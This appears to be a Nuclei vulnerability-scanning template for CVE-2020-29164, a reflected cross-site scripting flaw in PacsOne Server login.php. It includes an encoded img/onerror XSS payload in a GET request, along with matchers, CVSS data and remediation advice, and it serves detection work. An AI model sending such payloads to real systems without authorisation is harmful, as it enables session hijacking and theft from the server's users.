id: CVE-2020-29164 info: name: PacsOne Server <7.1.1 - Cross-Site Scripting author: geeknik severity: medium description: PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to PacsOne Server version 7.1.1 or later to mitigate this vulnerability. reference: - https://gist.github.com/leommxj/0a32afeeaac960682c5b7c9ca8ed070d - https://pacsone.net/download.htm - https://nvd.nist.gov/vuln/detail/CVE-2020-29164 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-29164 cwe-id: CWE-79 epss-score: 0.00205 epss-percentile: 0.58449 cpe: cpe:2.3:a:rainbowfishsoftware:pacsone_server:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: rainbowfishsoftware product: pacsone_server tags: cve,cve2020,pacsone,xss,rainbowfishsoftware http: - method: GET path: - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E" matchers-condition: and matchers: - type: word part: header words: - "text/html" - type: word part: body words: - '1' - type: status status: - 200 # digest: 4b0a00483046022100ff0343063bc6bc3425ce7d844033dddb9b55a410a25236f5f1c13901f3464c61022100da2ca986d7243ef4b6f669ea2fda6c579087f9254f8d978059a5ae043f93c2a0:922c64590222798bb761d5b6d8e72950